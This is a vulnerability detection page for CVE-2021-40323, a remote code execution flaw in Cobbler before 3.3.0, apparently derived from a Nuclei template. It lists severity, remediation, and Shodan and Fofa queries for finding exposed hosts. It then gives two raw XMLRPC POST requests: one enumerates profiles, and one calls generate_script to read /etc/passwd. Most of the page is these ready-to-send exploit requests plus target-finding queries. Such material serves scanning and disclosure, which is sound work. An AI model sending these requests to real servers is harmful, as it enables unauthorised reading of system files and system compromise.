| Title | Cobbler <3.3.0 - Remote Code Execution |
|---|---|
| Author | c-sh0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system. |
| Remediation | Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93171 |
| CVE ID | CVE-2021-40323 |
| CWE ID | CWE-94 |
| Shodan Query | http.title:"cobbler web interface" |
| Fofa Query | title="cobbler web interface" |
| Tags | cve cve2021 cobbler rce cobbler_project vuln |
Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
POST /cobbler_api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 360
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version='1.0'?>
<methodCall>
<methodName>find_profile</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>name</name>
<value>
<string>*</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
POST /cobbler_api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 391
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version='1.0'?>
<methodCall>
<methodName>generate_script</methodName>
<params>
<param>
<value>
<string>vPgVfU</string>
</value>
</param>
<param>
<value>
<string></string>
</value>
</param>
<param>
<value>
<string>/etc/passwd</string>
</value>
</param>
</params>
</methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40323.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40323.pcap
N/AN/A